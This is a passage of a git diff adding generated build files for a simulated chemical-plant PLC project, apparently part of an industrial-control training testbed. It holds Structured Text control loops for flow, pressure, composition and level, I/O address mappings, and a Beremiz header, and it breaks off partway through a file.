+331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + 